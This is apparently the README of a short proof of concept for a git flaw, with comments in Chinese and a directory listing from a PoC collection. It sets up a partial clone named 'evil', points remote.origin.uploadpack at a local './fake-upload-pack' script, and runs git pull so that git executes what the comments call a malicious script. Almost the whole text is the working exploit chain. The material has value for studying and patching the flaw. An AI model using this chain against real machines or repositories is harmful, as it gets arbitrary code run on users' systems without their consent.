# 创建 tmp 仓库,设置uploadpack.allowfilter为true
git init tmp
git -C tmp config uploadpack.allowfilter 1
# 从 tmp 仓库 克隆 evil
git clone --filter=blob:none --no-local --no-checkout tmp evil
rm -rf tmp
# 配置远程过滤脚本
git -C evil config remote.origin.uploadpack "./fake-upload-pack"
# 执行恶意脚本
git pull
[4.0K] /data/pocs/696506fe61979b9f8997c87f62a5b6dff279ac88
├── [ 18] fake-upload-pack
└── [ 344] README.md
0 directories, 2 files